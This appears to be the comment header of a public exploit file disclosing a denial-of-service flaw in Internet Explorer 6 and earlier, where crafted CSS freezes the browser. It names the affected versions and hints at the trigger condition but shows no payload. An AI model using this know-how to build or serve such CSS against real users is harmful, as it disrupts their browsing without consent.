# Internet Explorer <= 6 DoS vulnerability

#

# tested IE6 on XPx64 and IE 5.1, 5.5 and 6 on XP SP2 (eng)

# all versions are vulnerable

# ie 7 (beta 2 and 3) are not affected

#

# this malicious css code freezes/ dos the internet explorer

# prior version 7 and stops any user interaction

# the absolute size of the div element does not matter but has

# to be higher than the input's one
